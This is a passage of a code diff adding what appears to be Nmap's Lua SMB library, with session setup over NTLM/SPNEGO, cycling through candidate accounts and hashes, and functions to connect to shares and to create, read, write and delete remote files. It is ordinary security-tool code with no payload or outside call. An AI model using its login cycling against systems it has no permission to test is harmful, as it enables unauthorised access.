+ if(busy_count > 9) then
+ return false, "SMB: ERROR: Server has too many active connections; giving up."
+ end
+
+ local backoff = math.random() * 10
+ stdnse.debug1("SMB: Server has too many active connections; pausing for %s seconds.", math.floor(backoff * 100) / 100)
+ stdnse.sleep(backoff)
+ else
+ -- This username failed, print a warning and keep going
+ if(log_errors == nil or log_errors == true) then
+ stdnse.debug1("SMB: Login as %s\\%s failed (%s)", domain, stdnse.string_or_blank(username), get_status_name(status))
+ end
+
+ -- Go to the next account
+ if(overrides == nil or overrides['username'] == nil) then
+ smbauth.next_account(smb['host'])
+ result, username, domain, password, password_hash, hash_type = smbauth.get_account(smb['host'])
+ else
+ result = false
+ end
+ end
+ end
+ end
+
+ if(log_errors ~= false) then
+ stdnse.debug1("SMB: ERROR: %s", username)
+ end
+
+ if (status ~= nil) then
+ return false, get_status_name(status)
+ else
+ return false, username
+ end
+end
+
+--- This is an internal function and should not be called externally. Use
+-- the start_session() function instead.
+local function start_session_extended(smb, log_errors, overrides)
+ local i
+ local status, status_name, result, err
+ local header, parameters, data
+ local andx_command, andx_reserved, andx_offset, action, security_blob_length
+ local os, lanmanager
+ local username, domain, password, password_hash, hash_type
+ local busy_count = 0
+
+ -- Set a default status_name, in case everything fails
+ status_name = "An unknown error has occurred"
+
+ -- Get the first account, unless they overrode it
+ if(overrides ~= nil and overrides['username'] ~= nil) then
+ result = true
+ username = overrides['username']
+ domain = overrides['domain']
+ password = overrides['password']
+ password_hash = overrides['password_hash']
+ hash_type = overrides['hash_type']
+ else
+ result, username, domain, password, password_hash, hash_type = smbauth.get_account(smb['host'])
+ if(not(result)) then
+ return result, username
+ end
+ end
+
+ -- check what kind of security blob we were given in the negotiate protocol request
+ local sp_nego = false
+ if ( smb['security_blob'] and #smb['security_blob'] > 11 ) then
+ local oid, pos = string.unpack(">c6", smb['security_blob'], 5)
+ sp_nego = ( oid == "\x2b\x06\x01\x05\x05\x02" or oid == "\x06\x06\x2b\x06\x01\x05" ) -- check for SPNEGO OID 1.3.6.1.5.5.2
+ end
+
+ local ntlm_challenge_accepted = false
+ while result ~= false do
+ -- These are loop variables
+ local security_blob = nil
+ local security_blob_length = 0
+
+ -- This loop takes care of the multiple packets that "extended security" requires
+ repeat
+ -- Get the new security blob, passing the old security blob as a parameter. If there was no previous security blob, then nil is passed, which creates a new one
+ if ( not(security_blob) ) then
+ status, security_blob, smb['mac_key'] = smbauth.get_security_blob(security_blob, smb['ip'], username, domain, password, password_hash, hash_type, (sp_nego and 0x00088215))
+
+ if ( sp_nego ) then
+ local enc = asn1.ASN1Encoder:new()
+ local mechtype = enc:encode( { type = 'A0', value = enc:encode( { type = '30', value = enc:encode( { type = '06', value = stdnse.fromhex("2b06010401823702020a") } ) } ) } )
+ local oid = enc:encode( { type = '06', value = stdnse.fromhex("2b0601050502") } )
+
+ security_blob = enc:encode(security_blob)
+ security_blob = enc:encode( { type = 'A2', value = security_blob } )
+ security_blob = mechtype .. security_blob
+ security_blob = enc:encode( { type = '30', value = security_blob } )
+ security_blob = enc:encode( { type = 'A0', value = security_blob } )
+ security_blob = oid .. security_blob
+ security_blob = enc:encode( { type = '60', value = security_blob } )
+ end
+ else
+ if ( sp_nego ) then
+ if (smb['domain'] or smb['server']) and (not domain or #domain == 0) then
+ domain = smb['domain'] or smb['server']
+ end
+ hash_type = "ntlm"
+ end
+
+ status, security_blob, smb['mac_key'] = smbauth.get_security_blob(security_blob, smb['ip'], username, domain, password, password_hash, hash_type, (sp_nego and 0x00088215))
+
+ if ( sp_nego ) then
+ local enc = asn1.ASN1Encoder:new()
+ security_blob = enc:encode(security_blob)
+ security_blob = enc:encode( { type = 'A2', value = security_blob } )
+ security_blob = enc:encode( { type = '30', value = security_blob } )
+ security_blob = enc:encode( { type = 'A1', value = security_blob } )
+ end
+
+ end
+
+ -- There was an error processing the security blob
+ if(status == false) then
+ return false, string.format("SMB: ERROR: Security blob: %s", security_blob)
+ end
+
+ header = smb_encode_header(smb, command_codes['SMB_COM_SESSION_SETUP_ANDX'], overrides)
+
+ -- Data is a list of strings, terminated by a blank one.
+ data = security_blob -- Security blob
+ .. string.pack("<zzz",
+ "Nmap", -- OS
+ "Native Lanman", -- Native LAN Manager
+ "" -- Primary domain
+ )
+
+ -- Parameters
+ parameters = string.pack("<BB I2 I2 I2 I2 I4 I2 I4 I4",
+ 0xFF, -- ANDX -- no further commands
+ 0x00, -- ANDX -- Reserved (0)
+ #data + 24 + #header + 3, -- ANDX -- next offset
+ 0xFFFF, -- Max buffer size
+ 0x0001, -- Max multiplexes
+ 0x0001, -- Virtual circuit num
+ smb['session_key'], -- The session key
+ #security_blob, -- Security blob length
+ 0x00000000, -- Reserved
+ 0x80000050 -- Capabilities
+ )
+
+ -- Send the session setup request
+ stdnse.debug2("SMB: Sending SMB_COM_SESSION_SETUP_ANDX")
+ result, err = smb_send(smb, header, parameters, data, overrides)
+ if(result == false) then
+ return false, err
+ end
+
+ -- Read the result
+ status, header, parameters, data = smb_read(smb)
+ if(status ~= true) then
+ return false, header
+ end
+
+ local header_format = "<c4 B I4 B I2 I2 i8 I2 I2 I2 I2 I2"
+ if #header < string.packsize(header_format) then
+ return false, "SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [8]"
+ end
+
+ -- Check if we were allowed in
+ local protocol_version, command, status, flags, flags2, pid_high, signature, unused, tid, pid, uid, mid, pos = string.unpack(header_format, header)
+ smb['uid'] = uid
+
+ -- Get a human readable name
+ status_name = get_status_name(status)
+
+ -- Only parse the parameters if it's ok or if we're going to keep going
+ if(status_name == "NT_STATUS_SUCCESS" or status_name == "NT_STATUS_MORE_PROCESSING_REQUIRED") then
+ -- Parse the parameters
+ local parameters_format = "<BBI2 I2 I2"
+ if #parameters < string.packsize(parameters_format) then
+ return false, "SMB: ERROR: Server returned less data than needed"
+ end
+ andx_command, andx_reserved, andx_offset, action, security_blob_length, pos = string.unpack(parameters_format, parameters)
+ smb['is_guest'] = (action & 1)
+
+ -- Parse the data
+ if #data < security_blob_length then
+ return false, "SMB: ERROR: Server returned less data than needed"
+ end
+ security_blob, pos = string.unpack(("<c%d"):format(security_blob_length), data)
+ status, os, lanmanager, pos = pcall(string.unpack, "zz", data, pos)
+
+ if not ntlm_challenge_accepted then
+ if ( status_name == "NT_STATUS_MORE_PROCESSING_REQUIRED" and sp_nego ) then
+ local start = security_blob:find("NTLMSSP")
+ security_blob = security_blob:sub(start)
+ end
+
+ if not status or security_blob == nil then
+ return false, "SMB: ERROR: NTLM challenge not accepted or lanmanager missing"
+ end
+ smb['os'] = os
+ smb['lanmanager'] = lanmanager
+
+ local host_info = smbauth.get_host_info_from_security_blob(security_blob)
+ if ( host_info ) then
+ smb['fqdn'] = host_info['fqdn']
+ smb['domain_dns'] = host_info['dns_domain_name']
+ smb['forest_dns'] = host_info['dns_forest_name']
+ smb['server'] = host_info['netbios_computer_name']
+ smb['domain'] = host_info['netbios_domain_name']
+ end
+ ntlm_challenge_accepted = true
+ end
+
+
+ -- If it's ok, do a cleanup and return true
+ if(status_name == "NT_STATUS_SUCCESS") then
+ -- Check if they're using an un-supported system
+ if not status then
+ stdnse.debug1("SMB: WARNING: the server is using a non-standard SMB implementation; your mileage may vary (%s)", smb['ip'])
+ elseif(os == "Unix" or string.sub(lanmanager, 1, 5) == "Samba") then
+ stdnse.debug1("SMB: WARNING: the server appears to be Unix; your mileage may vary.")
+ end
+
+ -- Check if they were logged in as a guest
+ if(log_errors == nil or log_errors == true) then
+ if(smb['is_guest'] == 1) then
+ stdnse.debug1("SMB: Extended login to %s as %s\\%s failed, but was given guest access (username may be wrong, or system may only allow guest)", smb['ip'], domain, stdnse.string_or_blank(username))
+ else
+ stdnse.debug2("SMB: Extended login to %s as %s\\%s succeeded", smb['ip'], domain, stdnse.string_or_blank(username))
+ end
+ end
+
+ -- Set the initial sequence number
+ smb['sequence'] = 1
+
+ return true
+ end -- Status is ok
+ end -- Should we parse the parameters/data?
+ until status_name ~= "NT_STATUS_MORE_PROCESSING_REQUIRED"
+
+ -- Check if we got the error NT_STATUS_REQUEST_NOT_ACCEPTED
+ if(status == 0xc00000d0) then
+ busy_count = busy_count + 1
+
+ if(busy_count > 9) then
+ return false, "SMB: ERROR: Server has too many active connections; giving up."
+ end
+
+ local backoff = math.random() * 10
+ stdnse.debug1("SMB: Server has too many active connections; pausing for %s seconds.", math.floor(backoff * 100) / 100)
+ stdnse.sleep(backoff)
+ else
+ -- Display a message to the user, and try the next account
+ if(log_errors == nil or log_errors == true) then
+ stdnse.debug1("SMB: Extended login to %s as %s\\%s failed (%s)", smb['ip'], domain, stdnse.string_or_blank(username), status_name)
+ end
+
+ -- Go to the next account
+ if(overrides == nil or overrides['username'] == nil) then
+ smbauth.next_account(smb['host'])
+ result, username, domain, password, password_hash, hash_type = smbauth.get_account(smb['host'])
+ if(not(result)) then
+ return false, username
+ end
+ else
+ result = false
+ end
+ end
+
+ -- Reset the user id
+ smb['uid'] = 0
+
+ end -- Loop over the accounts
+
+ if(log_errors == nil or log_errors == true) then
+ stdnse.debug1("SMB: ERROR: All logins failed, sorry it didn't work out!")
+ end
+
+ return false, status_name
+end
+
+--- Sends out SMB_COM_SESSION_SETUP_ANDX, which attempts to log a user in.
+--
+-- Sends the following:
+-- * Negotiated parameters (multiplexed connections, virtual circuit, capabilities)
+-- * Passwords (plaintext, unicode, lanman, ntlm, lmv2, ntlmv2, etc)
+-- * Account name
+-- * OS (I just send "Nmap")
+-- * Native LAN Manager (no clue what that is, but it seems to be ignored)
+--
+-- Receives the following:
+-- * User ID
+-- * Server OS
+--
+--@param smb The SMB object associated with the connection
+--@param overrides [optional] A table of overrides for username, domain, password, password_hash, and hash_type.
+-- If any of these are given, it's used first. If they aren't, then Nmap parameters, Nmap registry entries,
+-- guest, and NULL sessions are used.
+--@param log_errors [optional] If set, will display login. Default: true.
+--@return (status, result) If status is false, result is an error message. Otherwise, result is nil and the following
+-- elements are added to the smb table:
+-- * 'uid' The UserID for the session
+-- * 'is_guest' If set, the username wasn't found so the user was automatically logged in as the guest account
+-- * 'os' The operating system
+-- * 'lanmanager' The server's LAN Manager
+function start_session(smb, overrides, log_errors)
+ -- Use a mutex to avoid some issues (see http://seclists.org/nmap-dev/2011/q1/464)
+ local smb_auth_mutex = nmap.mutex( "SMB Authentication Mutex" )
+ smb_auth_mutex( "lock" )
+
+ local status, result
+ if(smb['extended_security'] == true) then
+ status, result = start_session_extended(smb, log_errors, overrides)
+ else
+ status, result = start_session_basic(smb, log_errors, overrides)
+ end
+
+ smb_auth_mutex( "done" )
+ return status, result
+end
+
+--- Sends out <code>SMB_COM_SESSION_TREE_CONNECT_ANDX</code>, which attempts to
+-- connect to a share.
+--
+-- Sends the following:
+-- * Password (for share-level security, which we don't support)
+-- * Share name
+-- * Share type (or "?????" if it's unknown, that's what we do)
+--
+-- Receives the following:
+-- * Tree ID
+--
+--@param smb The SMB object associated with the connection
+--@param path The path to connect (eg, <code>"\\servername\C$"</code>)
+--@param overrides [optional] Overrides for various fields
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a
+-- table with the following elements:
+-- * 'tid' The TreeID for the session
+function tree_connect(smb, path, overrides)
+ local header, parameters, data, err, result
+ local andx_command, andx_reserved, andx_offset, action
+ local status
+
+ -- Make sure we have overrides
+ overrides = overrides or {}
+
+ header = smb_encode_header(smb, command_codes['SMB_COM_TREE_CONNECT_ANDX'], overrides)
+ parameters = string.pack("<BBI2 I2 I2",
+ 0xFF, -- ANDX no further commands
+ 0x00, -- ANDX reserved
+ 0x0000, -- ANDX offset
+ (overrides['tree_connect_flags'] or 0x0000), -- flags
+ 0x0000 -- password length (for share-level security)
+ )
+ data = string.pack("zz",
+ -- Share-level password
+ path, -- Path
+ (overrides['tree_type'] or "?????") -- Type of tree ("?????" = any)
+ )
+
+ -- Send the tree connect request
+ stdnse.debug2("SMB: Sending SMB_COM_TREE_CONNECT_ANDX")
+ result, err = smb_send(smb, header, parameters, data, overrides)
+ if(result == false) then
+ return false, err
+ end
+
+ -- Read the result
+ status, header, parameters, data = smb_read(smb)
+ if(status ~= true) then
+ return false, header
+ end
+
+ local header_format = "<c4 B I4 B I2 I2 i8 I2 I2 I2 I2 I2"
+ if #header < string.packsize(header_format) then
+ return false, "SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [8]"
+ end
+ -- Check if we were allowed in
+ local protocol_version, command, status, flags, flags2, pid_high, signature, unused, tid, pid, uid, mid, pos = string.unpack(header_format, header)
+
+ if(status ~= 0) then
+ return false, get_status_name(status)
+ end
+
+ if(tid == 0 or tonumber(tid) == 0) then
+ return false, "SMB: ERROR: Server didn't establish a proper tree connection (likely an embedded system)"
+ end
+
+ smb['tid'] = tid
+
+ return true
+
+end
+
+--- Disconnects a tree session. Should be called before logging off and disconnecting.
+--@param smb The SMB object associated with the connection
+--@param overrides THe overrides table
+--@return (status, result) If status is false, result is an error message. If status is true,
+-- the disconnect was successful.
+function tree_disconnect(smb, overrides)
+ overrides = overrides or {}
+ local header
+
+ header = smb_encode_header(smb, command_codes['SMB_COM_TREE_DISCONNECT'], overrides)
+
+ -- Send the tree disconnect request
+ stdnse.debug2("SMB: Sending SMB_COM_TREE_DISCONNECT")
+ local result, err = smb_send(smb, header, "", "", overrides)
+ if(result == false) then
+ return false, err
+ end
+
+ -- Read the result
+ local status, header, parameters, data = smb_read(smb)
+ if(status ~= true) then
+ return false, header
+ end
+
+ local header_format = "<c4 B I4 B I2 I2 i8 I2 I2 I2 I2 I2"
+ if #header < string.packsize(header_format) then
+ return false, "SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [8]"
+ end
+
+ -- Check if there was an error
+ local protocol_version, command, status, flags, flags2, pid_high, signature, unused, tid, pid, uid, mid, pos = string.unpack(header_format, header)
+
+ if(status ~= 0) then
+ return false, get_status_name(status)
+ end
+
+ smb['tid'] = 0
+
+ return true
+
+end
+
+---Logs off the current user. Strictly speaking this isn't necessary, but it's the polite thing to do.
+--
+--@param smb The SMB object associated with the connection
+--@param overrides THe overrides table
+--@return (status, result) If status is false, result is an error message. If status is true,
+-- the logoff was successful.
+function logoff(smb, overrides)
+ overrides = overrides or {}
+ local header, parameters, data
+ local status
+
+ header = smb_encode_header(smb, command_codes['SMB_COM_LOGOFF_ANDX'], overrides)
+
+ -- Parameters are a blank ANDX block
+ parameters = string.pack("<BB I2",
+ 0xFF, -- ANDX no further commands
+ 0x00, -- ANDX reserved
+ 0x0000 -- ANDX offset
+ )
+
+ -- Send the tree disconnect request
+ stdnse.debug2("SMB: Sending SMB_COM_LOGOFF_ANDX")
+ local result, err = smb_send(smb, header, parameters, "", overrides)
+ if(result == false) then
+ return false, err
+ end
+
+ -- Read the result
+ status, header, parameters, data = smb_read(smb)
+ if(status ~= true) then
+ return false, header
+ end
+
+ -- Reset session variables (note: this has to come after the smb_read(), otherwise the message signatures cause a problem
+ smb['uid'] = 0
+ smb['sequence'] = -1
+ smb['mac_key'] = nil
+
+ local header_format = "<c4 B I4 B I2 I2 i8 I2 I2 I2 I2 I2"
+ if #header < string.packsize(header_format) then
+ return false, "SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [22]"
+ end
+
+ -- Check if there was an error
+ local protocol_version, command, status, flags, flags2, pid_high, signature, unused, tid, pid, uid, mid, pos = string.unpack(header_format, header)
+
+ if(status == 0xc0000022) then
+ stdnse.debug1("SMB: ERROR: Access was denied in 'logoff', indicating a problem with your message signatures")
+ return false, "SMB: ERROR: Access was denied in 'logoff', indicating a problem with your message signatures"
+ end
+ if(status ~= 0) then
+ return false, get_status_name(status)
+ end
+
+ return true
+
+end
+
+--- This sends a SMB request to open or create a file.
+--
+-- Most of the parameters I pass here are used directly from a packetlog,
+-- especially the various permissions fields and flags. I might make this
+-- more adjustable in the future, but this has been working for me.
+--
+--@param smb The SMB object associated with the connection
+--@param path The path of the file or pipe to open
+--@param overrides [optional] Overrides for various fields
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a table
+-- containing a lot of different elements, the most important one being 'fid', the handle to the opened file.
+function create_file(smb, path, overrides)
+ local header, parameters, data
+ local andx_command, andx_reserved, andx_offset
+ local oplock_level, fid, create_action, created, last_access, last_write, last_change, attributes, allocation_size, end_of_file, filetype, ipc_state, is_directory
+ local error_count = 0
+
+ local status, pos
+ repeat
+ local mutex = nmap.mutex(smb['host'])
+ mutex "lock"
+
+ -- Make sure we have overrides
+ overrides = overrides or {}
+
+ header = smb_encode_header(smb, command_codes['SMB_COM_NT_CREATE_ANDX'], overrides)
+ parameters = string.pack("<BBI2 B I2 I4 I4 I4 I8 I4 I4 I4 I4 I4 B",
+ 0xFF, -- ANDX no further commands
+ 0x00, -- ANDX reserved
+ 0x0000, -- ANDX offset
+ 0x00, -- Reserved
+ #path, -- Path length
+ (overrides['file_create_flags'] or 0x00000016), -- Create flags
+ (overrides['file_create_root_fid'] or 0x00000000), -- Root FID
+ (overrides['file_create_access_mask'] or 0x02000000), -- Access mask
+ (overrides['file_create_allocation_size'] or 0x0000000000000000), -- Allocation size
+ (overrides['file_create_attributes'] or 0x00000000), -- File attributes
+ (overrides['file_create_share_attributes'] or 0x00000007), -- Share attributes
+ (overrides['file_create_disposition'] or 0x00000000), -- Disposition
+ (overrides['file_create_options'] or 0x00000000), -- Create options
+ (overrides['file_create_impersonation'] or 0x00000002), -- Impersonation
+ (overrides['file_create_security_flags'] or 0x01) -- Security flags
+ )
+
+ data = string.pack("z", path)
+
+ -- Send the create file
+ stdnse.debug2("SMB: Sending SMB_COM_NT_CREATE_ANDX")
+ local result, err = smb_send(smb, header, parameters, data, overrides)
+ if(result == false) then
+ mutex "done"
+ return false, err
+ end
+
+ -- Read the result
+ status, header, parameters, data = smb_read(smb, false)
+ mutex "done"
+ if(status ~= true) then
+ return false, header
+ end
+
+ local header_format = "<c4 B I4 B I2 I2 i8 I2 I2 I2 I2 I2"
+ if #header < string.packsize(header_format) then
+ return false, "SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [23]"
+ end
+
+ -- Check if we were allowed in
+ local protocol_version, command, flags, flags2, pid_high, signature, unused, tid, pid, uid, mid
+ protocol_version, command, status, flags, flags2, pid_high, signature, unused, tid, pid, uid, mid, pos = string.unpack(header_format, header)
+
+ if(status == 0xc00000ac) then
+ error_count = error_count + 1
+ if(error_count > 10) then
+ return false, "SMB: ERROR: Server returned NT_STATUS_PIPE_NOT_AVAILABLE too many times; giving up."
+ end
+ stdnse.debug1("WARNING: Server refused connection with NT_STATUS_PIPE_NOT_AVAILABLE; trying again")
+ stdnse.sleep(.2)
+ end
+ until (status ~= 0xc00000ac)
+
+ if(status ~= 0) then
+ return false, get_status_name(status)
+ end
+
+ -- Parse the parameters
+ local parameters_format = "<BBI2 BI2 I4 I8 I8 I8 I8 I4 I8 I8 I2 I2 B"
+ if #parameters < string.packsize(parameters_format) then
+ return false, "SMB: ERROR: Server returned less data than needed"
+ end
+ andx_command, andx_reserved, andx_offset, oplock_level, fid, create_action, created, last_access, last_write, last_change, attributes, allocation_size, end_of_file, filetype, ipc_state, is_directory, pos = string.unpack(parameters_format, parameters)
+
+ -- Fill in the smb table
+ smb['oplock_level'] = oplock_level
+ smb['fid'] = fid
+ smb['create_action'] = create_action
+ smb['created'] = created
+ smb['last_access'] = last_access
+ smb['last_write'] = last_write
+ smb['last_change'] = last_change
+ smb['attributes'] = attributes
+ smb['allocation_size'] = allocation_size
+ smb['end_of_file'] = end_of_file
+ smb['filetype'] = filetype
+ smb['ipc_state'] = ipc_state
+ smb['is_directory'] = is_directory
+
+ return true
+end
+
+--- This sends a SMB request to read from a file (or a pipe).
+--
+--@param smb The SMB object associated with the connection
+--@param offset The offset to read from (ignored if it's a pipe)
+--@param count The maximum number of bytes to read
+--@param overrides The overrides table
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a table
+-- containing a lot of different elements.
+function read_file(smb, offset, count, overrides)
+ overrides = overrides or {}
+ local header, parameters, data
+ local andx_command, andx_reserved, andx_offset
+ local remaining, data_compaction_mode, reserved_1, data_length_low, data_offset, data_length_high, reserved_2, reserved_3
+ local response = {}
+ local status
+
+ header = smb_encode_header(smb, command_codes['SMB_COM_READ_ANDX'], overrides)
+ parameters = string.pack("<BBI2 I2 I4 I2 I2 I4 I2 I4",
+ 0xFF, -- ANDX no further commands
+ 0x00, -- ANDX reserved
+ 0x0000, -- ANDX offset
+ smb['fid'], -- FID
+ offset, -- Offset
+ count, -- Max count low
+ count, -- Min count
+ 0xFFFFFFFF, -- Reserved
+ 0, -- Remaining
+ 0x00000000 -- High offset
+ )
+
+ data = ""
+
+ -- Send the create file
+ stdnse.debug2("SMB: Sending SMB_COM_READ_ANDX")
+ local result, err = smb_send(smb, header, parameters, data, overrides)
+ if(result == false) then
+ return false, err
+ end
+
+ -- Read the result
+ status, header, parameters, data = smb_read(smb)
+ if(status ~= true) then
+ return false, header
+ end
+
+ local header_format = "<c4 B I4 B I2 I2 i8 I2 I2 I2 I2 I2"
+ if #header < string.packsize(header_format) then
+ return false, "SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [25]"
+ end
+
+ -- Check if we were allowed in
+ local protocol_version, command, status, flags, flags2, pid_high, signature, unused, tid, pid, uid, mid, pos = string.unpack(header_format, header)
+
+ if(status ~= 0 and
+ (status ~= status_codes.NT_STATUS_BUFFER_OVERFLOW and (smb['filetype'] == filetype_codes.FILE_TYPE_BYTE_MODE_PIPE or
+ smb['filetype'] == filetype_codes.FILE_TYPE_MESSAGE_MODE_PIPE) ) ) then
+ return false, get_status_name(status)
+ end
+
+ -- Parse the parameters
+ local parameters_format = "<BBI2 I2 I2 I2 I2 I2 I4 I2 I4"
+ if #parameters < string.packsize(parameters_format) then
+ return false, "SMB: ERROR: Server returned less data than needed"
+ end
+ andx_command, andx_reserved, andx_offset, remaining, data_compaction_mode, reserved_1, data_length_low, data_offset, data_length_high, reserved_2, reserved_3, pos = string.unpack(parameters_format, parameters)
+
+ response['remaining'] = remaining
+ response['data_length'] = (data_length_low | (data_length_high << 16))
+ response['status'] = status
+
+
+ -- data_start is the offset of the beginning of the data section -- we use this to calculate where the read data lives
+ if(response['data_length'] == 0) then
+ response['data'] = 0
+ else
+ local data_start = #header + 1 + #parameters + 2
+ if(data_offset < data_start) then
+ return false, "SMB: Start of data isn't in data section"
+ end
+
+ -- Figure out the offset into the data section
+ data_offset = data_offset - data_start
+
+ -- Make sure we don't run off the edge of the packet
+ if(data_offset + response['data_length'] > #data) then
+ return false, "SMB: Data returned runs off the end of the packet"
+ end
+
+ -- Pull the data string out of the data
+ response['data'] = string.sub(data, data_offset + 1, data_offset + response['data_length'])
+ end
+
+ return true, response
+end
+
+--- This sends a SMB request to write to a file (or a pipe).
+--
+--@param smb The SMB object associated with the connection
+--@param write_data The data to write
+--@param offset The offset to write it to (ignored for pipes)
+--@param overrides The overrides table
+--@return (status, result) If status is false, result is an error message. Otherwise, result is a table
+-- containing a lot of different elements, the most important one being 'fid', the handle to the opened file.
+function write_file(smb, write_data, offset, overrides)
+ overrides = overrides or {}
+ local header, parameters, data
+ local andx_command, andx_reserved, andx_offset
+ local response = {}
+ local status
+
+ header = smb_encode_header(smb, command_codes['SMB_COM_WRITE_ANDX'], overrides)
+ parameters = string.pack("<BBI2 I2 I4 I4 I2 I2 I2 I2 I2 I4",
+ 0xFF, -- ANDX no further commands
+ 0x00, -- ANDX reserved
+ 0x0000, -- ANDX offset
+ smb['fid'], -- FID
+ offset, -- Offset
+ 0xFFFFFFFF, -- Reserved
+ 0x0008, -- Write mode (Message start, don't write raw, don't return remaining, don't write through
+ #write_data,-- Remaining
+ 0x0000, -- Data length high
+ #write_data,-- Data length low -- TODO: set this properly (to the 2-byte value)
+ 0x003F, -- Data offset
+ 0x00000000 -- Data offset high
+ )
+
+ data = write_data
+
+ -- Send the create file
+ stdnse.debug2("SMB: Sending SMB_COM_WRITE_ANDX")
+ local result, err = smb_send(smb, header, parameters, data, overrides)
+ if(result == false) then
+ return false, err
+ end
+
+
+ -- Read the result
+ status, header, parameters, data = smb_read(smb)
+ if(status ~= true) then
+ return false, header
+ end
+
+ local header_format = "<c4 B I4 B I2 I2 i8 I2 I2 I2 I2 I2"
+ if #header < string.packsize(header_format) then
+ return false, "SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [8]"
+ end
+
+ -- Check if we were allowed in
+ local protocol_version, command, status, flags, flags2, pid_high, signature, unused, tid, pid, uid, mid, pos = string.unpack(header_format, header)
+
+ if(status ~= 0) then
+ return false, get_status_name(status)
+ end
+
+ -- Parse the parameters
+ local parameters_format = "<BBI2 I2 I2 I2 I2"
+ if #parameters < string.packsize(parameters_format) then
+ return false, "SMB: ERROR: Server returned less data than needed"
+ end
+ local count_reserved, count_high, remaining, count_low
+ andx_command, andx_reserved, andx_offset, count_low, remaining, count_high, count_reserved, pos = string.unpack(parameters_format, parameters)
+
+ response['count_low'] = count_low
+ response['remaining'] = remaining
+ response['count_high'] = count_high
+ response['reserved'] = count_reserved
+
+ return true, response
+end
+
+--- This sends a SMB request to close a file (or a pipe).
+--
+--@param smb The SMB object associated with the connection
+--@param overrides The overrides table
+--@return (status, result) If status is false, result is an error message. Otherwise, result is undefined.
+function close_file(smb, overrides)
+ overrides = overrides or {}
+ local header, parameters, data
+ local pos
+ local status
+ local andx_command, andx_reserved, andx_offset
+ local response = {}
+
+ header = smb_encode_header(smb, command_codes['SMB_COM_CLOSE'], overrides)
+ parameters = string.pack("<I2 I4",
+ smb['fid'], -- FID
+ 0xFFFFFFFF -- Last write (unspecified)
+ )
+
+ data = ""
+
+ -- Send the close file
+ stdnse.debug2("SMB: Sending SMB_CLOSE")
+ local result, err = smb_send(smb, header, parameters, data, overrides)
+ if(result == false) then
+ return false, err
+ end
+
+ -- Read the result
+ status, header, parameters, data = smb_read(smb)
+ if(status ~= true) then
+ return false, header
+ end
+
+ local header_format = "<c4 B I4 B I2 I2 i8 I2 I2 I2 I2 I2"
+ if #header < string.packsize(header_format) then
+ return false, "SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [27]"
+ end
+
+ -- Check if the close was successful
+ local protocol_version, command, status, flags, flags2, pid_high, signature, unused, tid, pid, uid, mid, pos = string.unpack(header_format, header)
+
+ if(status ~= 0) then
+ return false, get_status_name(status)
+ end
+
+ -- Close response has no parameters or data
+ return true, response
+end
+
+--- This sends a SMB request to delete a file (or a pipe).
+--
+--@param smb The SMB object associated with the connection
+--@param path The path of the file to delete
+--@param overrides The overrides table
+--@return (status, result) If status is false, result is an error message. Otherwise, result is undefined.
+function delete_file(smb, path, overrides)
+ overrides = overrides or {}
+ local header, parameters, data
+ local andx_command, andx_reserved, andx_offset
+ local status
+
+ header = smb_encode_header(smb, command_codes['SMB_COM_DELETE'], overrides)
+ parameters = string.pack("<I2",
+ 0x0027 -- Search attributes (0x27 = include read only, hidden, system, and archive)
+ )
+
+ data = string.pack("<Bz",
+ 0x04, -- Ascii formatted filename
+ path)
+
+ -- Send the close file
+ stdnse.debug2("SMB: Sending SMB_CLOSE")
+ local result, err = smb_send(smb, header, parameters, data, overrides)
+ if(result == false) then
+ return false, err
+ end
+
+ -- Read the result
+ status, header, parameters, data = smb_read(smb)
+ if(status ~= true) then
+ return false, header
+ end
+
+ local header_format = "<c4 B I4 B I2 I2 i8 I2 I2 I2 I2 I2"
+ if #header < string.packsize(header_format) then
+ return false, "SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [8]"
+ end
+
+ -- Check if the close was successful
+ local protocol_version, command, status, flags, flags2, pid_high, signature, unused, tid, pid, uid, mid, pos = string.unpack(header_format, header)
+
+ if(status ~= 0) then
+ return false, get_status_name(status)
+ end
+
+ -- Close response has no parameters or data
+ return true
+end
+
+---
+-- Implements SMB_COM_TRANSACTION2 to support the find_files function
+-- This function has not been extensively tested
+--
+--@param smb SMB object associated with the connection
+--@param sub_command code of a SMB_COM_TRANSACTION2 sub command
+--@param trans2_param Parameter data to pass to the function
+--@param trans2_data Data to send with the packet
+--@param overrides The overrides table
+--@return status Boolean outcome of the request
+--@return error error message if the status is false
+local function send_transaction2(smb, sub_command, trans2_param, trans2_data, overrides)
+ overrides = overrides or {}
+ trans2_param = trans2_param or ""
+ trans2_data = trans2_data or ""
+
+ local header = smb_encode_header(smb, command_codes['SMB_COM_TRANSACTION2'], overrides)
+ local pad1 = "\0\0\0" -- Name, Pad1
+ local pad2 = ("\0"):rep((4 - #trans2_param % 4) % 4)
+
+ local trans2_param_len = #trans2_param
+ -- 68 = 32 SMB header
+ -- + 31 SMB parameters
+ -- + 2 SMB data ByteCount field
+ -- + 3 #pad1
+ local trans2_param_pos = 68
+ local trans2_data_len = #trans2_data
+ local trans2_data_pos = trans2_param_pos + trans2_param_len + #pad2
+ if trans2_data_len == 0 then
+ pad2 = ""
+ trans2_data_pos = 0
+ end
+
+ -- SMB parameters are 31 bytes long, incl. initial WordCount field
+ -- https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cifs/f7d148cd-e3d5-49ae-8b37-9633822bfeac
+ local parameters = string.pack("<I2 I2 I2 I2 BB I2 I4 I2 I2 I2 I2 I2 BB I2 ",
+ trans2_param_len, -- Total parameter count
+ trans2_data_len, -- Total data count
+ 0x000a, -- Max parameter count
+ 0xff80, -- Max data count
+ 0x00, -- Max setup count
+ 0x00, -- Reserved
+ 0x0000, -- Flags (2-way transaction, don't disconnect TIDs)
+ 5000, -- Timeout (ms)
+ 0x0000, -- Reserved
+ trans2_param_len, -- Parameter count
+ trans2_param_pos, -- Parameter offset
+ trans2_data_len, -- Data count
